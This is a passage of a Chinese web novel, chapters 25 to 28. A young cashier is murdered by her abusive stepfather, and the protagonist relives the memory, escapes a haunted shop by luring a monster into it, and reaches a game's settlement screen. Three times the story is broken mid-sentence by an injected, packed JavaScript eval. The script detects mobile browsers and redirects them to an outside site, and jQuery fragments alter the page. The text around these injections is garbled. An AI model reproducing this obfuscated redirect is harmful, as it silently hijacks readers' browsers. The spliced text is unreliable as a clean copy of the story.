这四个字说出口的瞬间,她感觉自己的一部分永远留在了那个夏天。 25. 第25章 继父 夏欣没有告诉母亲自己辍学的事情,母亲肯定不会愿意,但这是目前唯一一个夏欣可以想到的办法了。 她努力工作,然后把钱寄给母亲,谎称那是自己的奖学金。她不敢回家,也不能回家,继父就像一座布满阴影的大山,沉沉压在她的心头,如果被继父发现自己现在的情况,她以后的日子可就不得安生了。 夏欣现在是她们母女二人逃离这个污浊家庭的唯一有生力量,她要拼尽全力,将自己和母亲拔出这个泥潭。 她劝自己,现在一时的思念是值得的,只要将来攒够了钱,她就带母亲离开这里,跑得远远的,换一座城市,她们母女俩好好的,重新开始生活。 当夏欣省吃俭用,勤勤恳恳,终于攒够了第一个一万块钱的时候,她觉得一切都充满了希望。 她为自己买了一部濒临报废的二手智能手机,每一天都关注着动车票的价格变化,查看着不同城市的情况。 她已经想好了,再攒点钱她就可以带着母亲去偏北方的锦月城,那是一个小城,民风淳朴,物价也不高,她们会在那里生活得很好。 她满怀希望,每天都洋溢着发自内心的快乐微笑,连来买东西的顾客有时候都会对老板娘夸她:“这收银的小姑娘看着真喜庆。”“看到她的笑容感觉心情都变好了。” 一步一步实现梦想的过程是如此美好,以至于夏欣忘记了,命运似乎总喜欢在人们最充满希望的时刻,露出它残酷的獠牙。 那是一个闷热的周五夜晚,夏欣刚结束一天的工作,老板娘也提早一步走了,嘱咐她离开时把卷帘门锁好。 夏欣低头最后一遍清点当天的营业额,然后准备收拾收拾店面,关门回出租房睡觉。 商店门口的电子门铃突然响了起来,提示有顾客进来了,夏欣下意识抬起头,迎出柜台,微笑着说“欢迎光临”,但她的一切表情与动作却在看清来人的瞬间僵住了。 许久未见的继父站在门口,浑身酒气,那双浑浊的眼睛里闪烁着夏欣再熟悉不过的贪婪光芒。他摇摇晃晃地走近收银台,油腻的手掌“啪”地一声拍在夏欣刚刚擦干净的台面上。 “听说你在这混得不错啊。”他咧开嘴,露出被烟渍熏黄的牙齿,“怎么,挣了钱都不知道孝敬孝敬老子?” 夏欣的心脏疯狂跳动,她强装镇定,“你怎么找到这里的?” “你妈那个贱人藏了汇款单,以为我发现不了?”继父冷笑着,“每个月都有一笔钱,还说是奖学金,骗鬼呢!” 他猛地伸手抓住夏欣的手腕,力道大得让她疼出了眼泪,继父恶狠狠地笑着,阴毒的话语从嘴里吐出来,“我是怎么知道的?跑到你学校去稍微打听一下,那里到处都在传优等生夏欣辍学打工的事,你当我傻吗?” 他口沫四溅,怒吼着:“把钱全给我交出来!你肯定藏了不少!” “我没有钱!”夏欣挣扎着,“全都寄走了,我自己一点钱也没有了!” “放屁!”继父一巴掌扇在她脸上,火辣辣的疼痛让她眼前发黑,“你这种小贱货最会藏私房钱,今天不把钱交出来,老子揍死你!” 夏欣的头被死死压在柜台上,他看不见继父的脸,只能听见他恶狠狠的声音,还能看见……看见他衣兜里露出的一部手机——那是她上个月刚刚寄给母亲的新手机。一股不祥的预感涌上心头。 “妈妈呢?”她颤抖着问,“你把妈妈怎么了?” 继父的表情有一瞬间的不自然,随即变得更加狰狞:“那个不听话的贱人,敢拦着我来找你,我自然得教训她。” 夏欣的血液瞬间变得冰凉,她不知道哪里来的力气,居然一下子挣脱了继父的手,冲向了店门口。但继父的动作更快,一把拽住她的头发将她拉了回来。 “想跑?”他恶狠狠地说,“今天不把钱交出来,谁都别想走!” 夏欣的头皮传来阵阵剧痛,眼泪不受控制地涌出。她拼命踢打着,指甲在继父手臂上划出几道血痕。 “放开我!你这个疯子!” 出乎意料地,继父突然松开了手。他后退一步,整理了一下被扯乱的衣服,看着夏欣捂住自己的头摇摇晃晃地站起来。他脸上狰狞的表情消失了,取而代之的是一种令人毛骨悚然的平静。 “好啊,不给我钱也行。”他的声音突然变得异常冷静,“我先买点东西。” 夏欣愣在原地,看着继父慢条斯理地在货架间踱步。她的心脏还在狂跳,手腕和头皮依然隐隐作痛,但这一切都比不上她心里突然升起的一股强烈的不安——他究竟要做什么! 继父的脚步停下了,他站在卖厨具的货架前,手指轻轻划过一排闪着寒光的菜刀,最后选中了一把最锋利的。 “这把不错。”他拿起菜刀,转身面对夏欣,嘴角勾起一个诡异的弧度,“你妈现在一个人在家,对吧?” 夏欣浑身的血液瞬间冻结:“你……你想干什么?” “你说,我如果拿着这把刀回家……”继父慢悠悠地说,“猜猜会发生什么?” “你疯了!”夏欣尖叫起来,“她是你的妻子!” “妻子?”继父冷笑一声,“一个整天想着逃跑的妻子?一个教唆女儿藏钱的妻子?” 他向前迈了一步,菜刀在灯光下反射出冰冷的光:“我再问最后一遍,钱在哪里?” 夏欣浑身颤抖,但依然倔强地摇头:“我没有钱!你就是杀了我也拿不到钱!” 继父的眼神彻底冷了下来。那一瞬间,夏欣看见了他眼中毫不掩饰的杀意。 “那你就先去死吧。”他轻声说。 时间仿佛在这一刻凝固了。夏欣看见继父举起了菜刀,看见那道寒光向自己袭来。她脑中一片空白,双脚像是被钉在了原地。 剧痛从脖颈处蔓延开来,温热的液体喷涌而出,有几滴溅在了继父脸上。夏欣张着嘴,却发不出任何声音,她支撑不住自己的身体了,只能踉踉跄跄地后退,撞倒了几个货架,商品哗啦啦地散落一地。 她的视线模糊了,但她的眼睛仍然死死盯着继父的方向。粘稠的鲜血从她的指缝间不断涌出,在地面上汇成一滩暗红。 “妈……妈……”她用尽最后一丝气力,在心底无声地呐喊,“快跑……快跑……” 继父冷漠地看着她逐渐失去生机的身体,将菜刀随手扔在地上。他踢了踢夏欣已经不再动弹的手臂,确认她已经死了。 “敬酒不吃吃罚酒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039438|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他低声咒骂着,开始在收银台里翻找现金。而夏欣的最后一点力气,随着血液的流失,也彻底消散在深夜冰冷的空气中。 她的眼睛依然睁着,望着继父最后站立的地方,但却再也不会闪耀出生命的光泽,变得灰扑扑、死气沉沉。 继父将收银台里的现金搜刮一空,最后冷冷地剜了一眼倒在地上的夏欣,匆匆地打开后门离开了。 直到第二天清晨,天刚蒙蒙亮的时候,才有顾客进来买东西,见到了满地鲜血和倒在血泊中的夏欣,顾客惊声尖叫,踉踉跄跄地跑出门报了警。 在清晨微凉的空气中,警笛声由远及近,红蓝光芒透过便利店玻璃在夏欣失去焦距的瞳孔中闪烁。 一队警察迅速冲了进来,最先冲进店内的警察在看到现场时猛地停住脚步。年轻的警员忍不住转身干呕,老刑警则沉重地闭了闭眼。 “叫法医。”他哑着嗓子说。 但后来发生的一切夏欣都不知道了,她的尸体被蒙上白布,抬上了车。警察们根据她手机中的信息赶到她的家中,及时保护了母亲。继父早就逃之夭夭,不知道去了哪里。 但这一切,都挽救不了一条已经流逝的鲜活生命。 人的大脑在心脏停跳以后依然能存活一段时间,在夏欣死前的走马灯中,一遍又一遍地重复着她被杀死时的场景,还配上了她自己的声音: “欢迎光临。” “你需要什么商品?” “顾客请到收银台结账。” 这是她在进行日常工作时最常说的三句话,她多么希望继父只是一个普通的顾客,她只需要按部就班地欢迎、介绍商品、收银结账,安静而平稳地度过这一天。 如果最后进来的只是一个普通顾客就好了,如果我早一点收拾完所有东西,早一点关店就好了…… 如果…… 如果时间能倒流就好了。 即使夏欣已经死亡,只有意识还勉强停在躯壳里,她也不由得想笑一笑。 怎么可能呢?时间怎么可能倒流呢? 但是……如果只是想象的话,时间倒流也不是不可能吧…… 她不由自主地想象起来,在幻想中拨动时间的转盘,一圈又一圈。 继父从货架上拿下那把菜刀。哦,如果他是一位普通顾客的话,我应该说什么?对了,应该是“顾客请到收银台结账”。 时间回拨,继父将手中的菜刀放回货架上,二人倒退回到收银台前。啊,这个时候我应该说的是“你需要什么商品”。 接下来就是最重要的了,夏欣抑制不住地想要微笑。她郑重地拨动了想象中的指针,时间慢慢倒退。这一次,继父从收银台前慢慢退到了商店门口,夏欣不想对他说“欢迎光临”,但她还是说了,毕竟继父现在只是一个普通顾客嘛。 夏欣的心脏在想象的胸腔里怦怦直跳,就剩下最后一步了,她猛地向前一推指针。继父倒退着走出了门,玻璃门在他身前合拢。夏欣看着站在收银台前的自己重新低下头,继续核对账目。 如果……一切都停留在这里,那该有多好。 她有点想哭,但是她已经没有眼泪了。 最后,一切陷入了永久的黑暗。 26. 第26章 破局 容目猛地倒吸一口凉气,一个翻身坐起来,睁开了眼睛。 眼前依然是充满一片废墟的小商店,她坐在柜台前的地面上。被她动作激起的灰尘漫漫扬扬地飞舞在空气中,又飘飘悠悠地落回原处。 容目下意识地摸了摸自己的脖子,触手柔软且富有弹性,皮肤平滑,完好无损,她不由松了口气。 刚刚看完监控里的画面,她不知道为什么突然眼前一黑,再睁眼时,自己就成了店员夏欣。 她以夏欣的视角经历了那一段记忆,每一幕都真实得像是她自己的经历,她能感受到夏欣的一切心理活动,夏欣强烈的情绪也一直影响着她的情绪,夏欣肢体上的触感和动作也能带给她完全相同的反馈。 从某种程度上来说,她与那段记忆中的夏欣“合二为一”了。所以当继父捅穿了夏欣的喉咙时,容目也相当于跟着死了一回,那种冰凉的绝望和痛苦是如此具有穿透性,以至于现在回想起来,还是让容目打了个寒战。 这是怎么回事?她怎么会突然经历了夏欣的记忆?这难道也是中立区的力量造成的? 一时间,无数问题和猜测在容目的脑海中回荡,但没有一个能得到证实。她无奈地抬起胳膊,撑着柜台站了起来。 不管怎么说,刚才她所经历的记忆对这个中立区的背景进行了补充说明,让她多少了解了一点这个中立区,不至于两眼一抹黑了。 那个仍然被压在货架下的“店员”还在挣扎,晃得货架“嘎吱嘎吱”地响。容目绕过地上几块破碎的砖头,在“店员”面前蹲了下来,她现在心情有点复杂。 夏欣什么也没做错,她只是一个普通的女孩,竭尽全力想把自己和母亲拉出浑浊的泥潭,她差一点就成功了,就差那么一点点。 容目看着面前这个皮肤干瘪、浑身散发着青灰色的“人”,轻轻吐出一口浊气,“我不知道你是否还存在一点自我意识。”她盯着“店员”身旁的一小块地面,慢慢开口了,“但是我觉得这件事我应该告诉你,因为夏欣应该知道。” “店员”在货架底下又挣扎了一下,似乎是想把它枯瘦的手抽出来,触碰容目露在外面的皮肤。容目恍若未觉,只是继续说下去:“夏欣的母亲获救了,警察赶过去保护了她。在我最后经历的那一段记忆里,警方还没有抓到夏欣的继父,但是他们应该已经掌握了不少线索,过不了多久就能将他绳之以法。” 容目向后避了避,躲开了“店员”向她伸过来的手指,她重新站起来,向后退了一步,“告诉你这些,也算是我对你的补偿吧,不得已把你压在货架下,我也感到很抱歉。” 她转过身,走回扎了一地菜刀的柜台前,陷入了沉思。 中立区直接攻击人的方式目前来看有两种,一种是依靠“店员”接触自己,从而吸取自己的力量,让自己不断衰弱;另一种就是从柜台后弹出数把菜刀,攻击站在柜台前的人。 她进柜台里看过,并没发现什么弹射的机关,具有攻击性的菜刀应该是由中立区独立运行的一条线,只要触发了错误的商品,中立区就会弹出菜刀攻击。 而在经历过夏欣的记忆以后,容目也差不多猜出了这两种攻击的运行逻辑。 自己是入侵者,代替了“夏欣”记忆中继父的位置,“夏欣”希望剥夺继父的生命力用于己身;而中立区选择的菜刀攻击方式,也来自于“夏欣”以其人之道还治其人之身的愿望。 这个中立区建立在夏欣痛苦的记忆之上,建立在她绝望的执念之上,这是一个完整的叙事链条,已经加不进去什么了。 容目皱了皱眉,不对,不是这样,在这家商店里,还有一件事情没有发生: 夏欣最后逆转时间的幻想! 事情如果是按照时间线不断发展的话,确实已经结束了,没有更改的余地了。但是,如果加上夏欣死前的幻想,那么就还剩下最后一个情节没有走完。 容目吐出一口浊气,原来是这样,监控中的提示原来是这个意思。 她慢慢地走到被压住的“店员”面前,一点一点地将压在它身上的货架推开,货架发出腐朽的“吱呀”声,又激起了一捧灰。 店员控制着自己的四肢,僵硬且笨拙地从地上爬了起来,然后又一步一步地向容目靠近。 容目拍了拍手中的浮灰,转过身,目标明确地走向了其中一个还坚强站立着的货架——上面摆满了厨房用刀。 她站在刀具架前,手指轻轻划过摆在货架上的刀具,做出了挑选的动作。一直拼命往前凑,想要触碰她的“店员”顿住了,它站在货架外一动不动,好像被冻住了。 容目随便抽出了一把刀,面无表情地对着“店员”挥了挥——继父曾经做过同样的动作。 “店员”微不可查地颤抖了一下,向后退了半步,已经看不出表情的脸上拧出了一个扭曲的弧度,说不清是恐惧还是恨意。 容目没在意它的表情,只是继续做下一个动作,就像一个走戏的演员,按部就班地进行着自己的工作。 她将刀具放回原来的位置,然后倒退着走向收银台。一连好几个小时都呆在这家不大的商店里,她已经完全记住了这里的地形,毫不夸张地说,即使她闭上眼睛,她也能准确地找到位置,更别说此刻只需要倒着走。 “店员”还是呆呆的,看着容目从自己身边经过都没什么反应,也没有突然伸手来抓她。直到容目后退了好几步,它才如梦初醒一般,也跟着倒退。 如果此时有一个局外人在旁边看的话,他一定会觉得这个情景很古怪:一个浑身脏污的女人,和一个骨瘦如柴、皮肤呈现青灰色的骷髅架子同时后退,连步幅和迈步的频率都几乎一模一样。 容目先开始后退,所以她走出的距离比“店员”要长一些,她看着前方“店员”一瘸一拐倒退着跟过来的背影,心中有了点底——看来这次她选择的方向是正确的。 在静默中倒退了几步以后,容目的小腿先撞上了收银台下面的木板,她停了下来,慢慢转过身。“店员”依然倒退着,经过了她身边,退进了柜台内侧,也转过身,面对着她。 二“人”对视片刻,“店员”腐烂的面容上露出了一个惊讶又恐惧的表情,随即又变成了礼貌的微笑。 容目平静地继续后退,绕过一地尖刀,向商店门口退去,而“店员”就站在柜台后,怔怔地看着她后退,良久,当容目背在身后的手终于触碰到商店的玻璃推门时,“店员”重新低下头,翻开了一旁积满灰尘的账簿。 容目手上用力,一把推开了玻璃门,她没有回头,依然盯着商店内的场景,提防着可能出现的危险,但是什么也没出现,她平平安安地一步退出了商店。 看着玻璃门在面前合上,发出“砰”的一声,容目虚脱地滑坐在了地上。 终于……终于出来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039439|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微凉的风吹拂过她的发梢,吹落了几片粘在她头发上的灰尘,天际露出了一抹鱼肚白,在浅青色的天空中渐渐漫开。 已经是清晨了,新的一天开始了,她还活着。 容目在地上瘫坐了一会,勉强扶着墙站了起来,这里太空旷了,连个掩体都没有,如果有猎杀者还在附近徘徊,自己可就危险了。 她贴着墙根以自己目前最快的速度移动,尽量藏在墙体的阴影中。晨光熹微,街道显得格外空旷,远处隐隐传来丧尸的吼声,时刻提醒着容目,这里依然是那个危机四伏的世界。 每前进一段距离或者经过一个岔路口,容目都会谨慎地停下脚步观察片刻,确认安全后再继续向前。 虽然经历过两个中立区后,她对时间流逝的感知已经变得有些模糊了,但是根据她的计算,距离副本结束应该只剩下不到六个小时。 这是一个好消息,至少说明她存活的概率又上升了那么一点。 她快速穿过另一条街道,目光扫过四周,寻找着一个合适的躲避处。这边的街区不知道经历了什么,楼房已经塌了大半,偶尔几栋还站立着的建筑物看起来也已经摇摇欲坠了,让人根本不敢冒险钻进里面去。 容目压住心底的焦躁,悄无声息地绕过了一堆约摸两人高的建筑废墟,然后,她的目光锁定在了不远处一个废弃的公交车站上。 平心而论,那是一个很不错的掩体。虽然站台顶棚半塌下来,但候车区相对完整,三面被广告牌围合,形成一个天然的隐蔽空间。 她矮身钻进站台后方,找好角度,从广告牌的缝隙中观察街道。这个位置既能隐蔽身形,又拥有良好的视野。远处有几只步履蹒跚的丧尸正在游荡,以容目的视力可以很清晰地看到它们身上代表弱点的红点。 容目盯着那几只丧尸身上的红点,一个疑问突然涌上心头:为什么在面对猎杀者时,她并没有看见对方身上有任何弱点标记? 如果说自己的异能有等级限制,作为E级能力无法窥探更高等级怪物的弱点,那又该怎么解释她之前看到的狙击手丧尸额头中心的红点?那可是C级丧尸。 她能感受到猎杀者的等级并没有C级那么高,要不然她不可能从猎杀者手下逃出来,而且在面对猎杀者时,对方带给她的压迫感也并没有之前那个狙击手丧尸强。 不是等级问题,那会是什么影响了她的异能运转? 容目有些头痛,这几天下来,她已经积攒了不少问题,但是现在这些问题一个都得不到解答。 先熬过这个副本吧,她对自己说,副本结束以后,在林暖之前所说的结算空间里没准能找到答案。 她从口袋里取出最后半瓶水,小口啜饮补充水分。之前收集的物资早就在多次逃生中丢得差不多了,她现在得省着点喝。 经历了连番逃亡,她的体力几乎消耗殆尽,但此刻最重要的是保持清醒,撑过最后这几个小时。 长时间的精神紧绷后突然放松下来,人很容易感到疲惫,容目现在就处于这种状态。周边很安静,连那几只游荡的丧尸都走远了,只有遥远的地方偶尔传来几声嘶吼。 她的眼皮越来越沉,困倦如潮水般涌上来,她已经将近三天没合眼了,就睡一小会,应该没关系的吧…… “轰!”就在容目即将睡过去的前一秒,车站后方的辅路上突然传来了剧烈的撞击声。 27. 第27章 通关 容目瞬间惊醒,手撑地面借力跳起身,面朝巨响传来的方向。由于用力过猛,还差点撞到了头。 她屏住呼吸,透过广告牌缝隙紧盯着街道另一端。滚滚浓烟中,一个身影踉跄着从爆炸现场冲出,正朝着公交站台的方向狂奔而来。 那是一个年轻男子,他脸上沾满了爆炸产生的黑灰,左臂不自然地垂在身侧,似乎是受了伤。他显然也发现了这个相对比较安全的藏身之处,正拼尽全力向这里冲刺。 容目握紧手中的菜刀,迅速评估局势。男子身后,爆炸引起的火焰和余波暂时阻挡了丧尸的脚步,但浓烟与骤然亮起的火光也吸引了更多怪物向这个方向聚集。 她眯起眼睛,随后瞳孔骤缩——在男子身后不远处,冲出了一个高大的身影!猎杀者冲破了硝烟和爆炸的余波,它手持消防斧迈步追来,浑浊的眼睛已经锁定了这个方向! 这个藏身处已经暴露了。即便男子能成功躲进来,猎杀者也会紧随而至,狭窄的站台根本无处可逃,届时两人都会被困死在这里! 电光火石间,容目迅速作出了决定。她猛地从站台后方跃出,对着狂奔而来的男子厉声喝道:“别过来!往左边巷子里跑!” 男子愣了一下,似乎没想到站台里还有一个人,但当他发现容目的视线盯在自己身后时,他突然意识到了什么,脸色瞬间变得煞白。他甚至没敢回头,而是一咬牙、一狠心,转身冲进了左侧的小巷。 容目同时向右侧飞奔,故意踢翻路边的垃圾桶制造声响。猎杀者的注意力果然被吸引,它短暂地停下脚步,在两条岔路前犹豫了一瞬,随即朝着容目的方向追来。 这个结果在容目的预料当中——自己刚刚出声提醒了那个男人,又故意制造了动静,在猎杀者看来应该算是一种挑衅了,它来追自己也是情理之中。容目不是圣母,没有什么舍己为人的心思,她这么做是因为她已经想出了一个脱身的方法,没必要白白让别人牺牲。况且以那个男人的状态,他在猎杀者的追杀下怕是撑不过半分钟,也做不到为容目拖延时间。 容目全力冲刺,心中默默盘算着自己接下来的一系列行动。她在街道间灵活穿梭,稳定地保持着与猎杀者之间的距离。她的计划很简单——将猎杀者引回她刚刚脱身的那家商店。 转过最后一个街角,熟悉的商店出现在眼前。玻璃门还保持着原来的状态,内部很暗,看不清里面的情况。 容目没有丝毫犹豫,她加速冲刺,硬生生撞开了商店的玻璃门,在踏入店门的瞬间侧身翻滚。几乎在同一时间,消防斧擦着她的后背劈在门框上,碎屑飞溅。 容目迅速起身后退,目光紧盯着一脚踏入店内的猎杀者。正如她所预料的那样,在猎杀者迈过门槛的刹那,整个商店突然陷入了诡异的寂静。 空气似乎变得粘稠了,人站在其中有一种呼吸不畅的感觉,无数浮动的尘埃也静止在原地,曾经困住容目的透明结界又出现了,如同有一只无形的手,拢住了这一方空间。猎杀者困惑地停下了脚步,它似乎感知到了这个空间的异常。 收银台后传来细微的响动,“店员”从摊开的账本上抬起头来,它慢慢歪过头,颈骨发出“咔啦”一声脆响,用空洞的眼睛注视着闯入的猎杀者。 容目缓缓退到墙角,看着两个怪物对峙。 她能想到这个办法要感谢林暖。当她在林暖的带领下第一次进入中立区时,林暖曾经告诉过她,外面的怪物不会闯入一个已经成型的中立区,她们两个还利用这个规则躲过了一波尸潮。 想起林暖,容目将手插进口袋,摩挲着那一枚林暖送给她的铜钱,她到现在对这枚铜钱仍然一无所知。唯一的信息还是陈安平曾经对她说的那句:“你同伴给你的东西很不错啊。”至于具体的功效和使用方法,她是一窍不通。 算了,研究不明白就先放下吧,再着急也没有用,先解决眼下的问题,以后还有慢慢研究的机会。 “店员”和猎杀者依然面对面静默着,两个猎手正在谨慎地评估着对方的危险程度,而容目这个“猎物”此刻并不在它们的眼中。 “店员”僵硬的手指在收银台上轻轻敲击,发出规律的“哒哒”声,猎杀者则微微伏低了身体,喉咙里发出野兽般的警告声。 “顾客……请……到收银台……结账。”嘶哑的声音从“店员”口中传出,它夸张地咧开嘴角,直勾勾地注视着猎杀者,数十把菜刀从暗处激射而出,直指猎杀者要害! 猎杀者挥舞消防斧不断格挡,金属碰撞声不绝于耳。但它很快发现,这些菜刀仿佛无穷无尽,而且每一把都带着不小的冲劲,在它身上留下了一道道新鲜的伤口。 它拥有一部分智慧,立即转守为攻,拼着身体被划伤也要冲向收银台,只要抓住“店员”,这些菜刀就不能拿它怎么样。 “店员”明显不擅近战,瘦弱的身躯让它很难抵挡猎杀者的攻击,所以它在不断操控菜刀攻击阻挠猎杀者的同时,也在一点点远离收银台,向商店内部退去——那里是它的主场。 容目躲在一旁,精神高度紧张,不断寻找掩体保护自己,同时也在一点点向门口挪动。刚才是猎杀者堵住了门口,她没找到出去的机会,现在,这两个怪物打得旗鼓相当,而且越退越远,根本无暇顾及容目的动向。 在两个怪物退到货架区中,撞翻了其中一个日用品货架的瞬间,容目动了。 她双腿发力,调动身上的每一块肌肉,爆发出了人生中最快的速度,直扑向门口!肾上腺素急速攀升,灼热的血液在她的身体中流淌,周围的一切声音都从她耳边划过,无论是菜刀破空的尖啸声,还是猎杀者愤怒的咆哮声,在她心里都留不下丝毫痕迹。 她眼中只有越来越近的商店玻璃门,心脏的跳动声越来越剧烈,越来越响亮,震耳欲聋! 容目的指尖终于触碰到了冰凉的玻璃门框。她用尽全力向外一扑,整个人翻滚着跌出商店! 就在她脱离商店的瞬间,身后传来了巨大的响声。猎杀者终于意识到自己的猎物逃脱了,它发出愤怒的咆哮声,硬生生撞翻了挡路的货架,强行突破菜刀的封锁向她扑来! 但为时已晚。 容目重重摔在街道上,顾不上疼痛立即翻身。她看见猎杀者拼命向前探出身,却像是撞上了一堵无形的墙壁,再也无法前进分毫。 商店内部的景象开始扭曲,“店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039440|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员”站在货架废墟中,对着被困的猎杀者露出诡异的微笑。整个商店开始闪烁,如同信号不良的电视画面。 容目挣扎着爬起身,踉跄后退。在她震惊的注视下,商店的闪烁频率越来越快,越来越急,最后几乎变成了一片白光!她不由得闭了闭眼睛,再睁开的时候,商店已经恢复了原来的样子,破败而灰暗,货架东倒西歪散落一地,内部太昏暗了,容目即使发动异能也看不清里面究竟是什么样。 她谨慎地后退了一段距离,然后迅速离开。 这是她第一次目睹较高级别怪物之间的战斗,现在回想起那一幕,她不由得感到后怕。 如果当初中立区也这样对付她,她现在估计连骨头渣都不剩了。看来中立区对“玩家”并不抱有极端的恶意,反而是对自己的“同类”恨之入骨?她揉了揉眉心,感觉自己的疑惑如滚雪球般越来越多,再这样下去,她很快就要变成十万个为什么了。 【距离副本结束还有三小时】 冷冰冰的机械音在她脑海中响起,就这么平平淡淡的一句话,却带给了容目莫大的安慰,也为她注入了一股力量。 这个鬼副本终于要结束了。 她拖着疲惫的身躯,找到了一个废弃的地下停车场。这里结构坚固,入口狭窄易守难攻。她搬来几个废弃轮胎堵住入口,只留下一道缝隙观察外界。 时间一分一秒流逝。容目靠在冰冷的混凝土柱子上,强撑着眼皮,数着自己的心跳计算时间。 两小时。 一小时。 30秒。 当电子音再次响起时,容目几乎要落下泪来。 【血月尸潮副本已结束】 【副本主线任务:存活72小时(已完成)】 【即将开启结算空间传送门……】 周围的景象开始变得模糊,如同浸水的油画般摇晃、褪色。容目感到一阵轻微的眩晕,眼前出现了无数重影。 这种眩晕不知道持续了多长时间,一切终于平稳了下来,她睁开眼睛,却被突如其来的白光刺激得差点流下眼泪。她急忙抬起手挡住双眼,缓了好一会才勉强适应过来。 她慢慢放下手,入目是一片纯白的空间,墙壁、天花板、地板,到处都是一片洁白,白得很纯粹,甚至偏向透明,看不出是用什么材质建成的。 容目低下头看了看地面,地面上能隐隐约约映出她狼狈的身影。她浑身沾满了灰土与血污,脸上还有未干的血迹,几乎让人认不出本来的面目了。 她苦笑一声,转过身四下看了一圈。这就是结算空间?空荡荡的,什么也没有,用什么结算? 等了一会,之前的电子音静悄悄的,如同突然消失了一样,一声也不出。 容目皱着眉头,怎么回事,把她放到这就不管了?这个空间连门都没有,她是怎么进来的?又该怎么出去? 容目在纯白空间中踱步,指尖划过光滑的墙壁,这里安静得能听见自己的心跳声。 “有人吗?” 她的声音在空间中回荡,传出了很远,却没有得到任何回应。就在她准备再次尝试时,面前的墙壁上突然亮起了一圈淡蓝色的符文。 28. 第28章 结算空间 【身份验证开始……】 随着淡蓝色符文的出现,冰冷的电子音突然响起,惊了容目一跳。 【玩家编号:73462】 【检测到特殊状态:中立区诅咒】 容目站在原地,看着符文在墙面上缓缓旋转,最后凝聚成了一道半透明的光幕,从光幕上浮现出几行文字: 【血月尸潮——E级副本结算】 基础奖励:100积分 中立区奖励×2:400积分 紧急任务奖励:100积分 特殊成就:辅助击杀C级精英丧尸“潜伏的窥视者”,150积分 诱导猎杀者与节点中立区混战,导致节点破损,血月降临失败,500积分 扣分项:获得中立区诅咒,扣除100积分 当前积分:1150 容目的目光从光屏上快速扫过,前面都没什么出奇的,但是这个“血月降临失败”让她很在意。这是什么意思?什么是节点中立区?如果血月降临了会发生什么? 她一直以为“血月尸潮”这个副本的重心在“尸潮”这两个字上,毕竟在副本进程中,她不断地在与各种丧尸和怪物打交道,而那个所谓的血月从始至终都没有出现过。但是现在看来,事情比她原来想的要复杂得多,“血月”才应该是这个副本的核心机制。 至于“血月”是什么,容目心里已经有了一点猜测。无论在东方还是西方的神话传说中,血月往往都代表着不好的意象,它总能让人联想到血腥、邪恶、痛苦……在那些愚昧的年代,人们还不懂什么天文知识,如果血月当空,甚至会引发社会性的恐慌,人们会猜测这是神的怒火,神要降下神罚来惩戒世人。 神?容目的思绪在这个字上顿了顿,她是一个坚定的无神论者,也从不相信世界上有神明的存在。但是在经历了这么多诡异的事情之后,她不禁开始思索,难道这个世界上真的有神?祂操控了这一切,把正常的世界改造成了诡异的副本,将一切强行扭转成了如今的样子? 她皱着眉头思索,脑海里反复盘旋着各种猜测。节点中立区与普通中立区有什么区别?她回想起了在商店中立区中感受到的那种无形无质的力量,她在那里还亲身经历了夏欣的一段记忆,难道这就是区别所在? 她见过的中立区还是太少了,只有两个,不足以让她提炼出有效的情报。 光屏上的信息继续刷新: 【奖励结算已完成】 【开始物品兑换】 光屏自动刷新,一个全新的页面展现在容目面前。 页面排版简洁明了,分为物品、异能、血脉三个大类,容目尝试点击了异能项,页面瞬间弹出异能项下的其他分类。 身体强化类、远程操控类、异变类、时间类、空间类、生命类……密密麻麻数十项子目录依次排开,看得容目眼花缭乱。 她随便点开了第一项身体强化类,花花绿绿的字体刹那间铺满了光屏,几乎占据了一整面墙壁。 她像操控手机屏幕一样向下滑动页面,看着上面五花八门的异能名称,既然被分在身体强化类项下,这些异能的名称也都多少和身体器官沾点边。诸如千里眼、顺风耳、飞毛腿之类的异能不胜枚举。 容目好奇地选择了“千里眼”这项异能,查看它的具体效果。她的异能依托于眼睛施展,她自然也想多了解一下类似的异能。 “千里眼”的能力效果异常简单,甚至简单得有点过分了,上面就平平常常地写了一句话:此异能使用者可以看到千米之外的事物。 容目有点傻眼,她又读了一遍能力效果,确认自己没看错,就这么简单?页面右下角标注了“千里眼”的兑换要求——150积分。 她盯着“千里眼”的说明,眉头紧皱。 这个描述太敷衍了,她都不需要多么深入地思考就能想出许多针对这个异能的问题。“看到千米以外的事物”具体适用条件是什么?是否可以穿透障碍物?持续时间多长?使用次数是否有限制?所有这些稍微详尽一些的信息通通都没有说明。 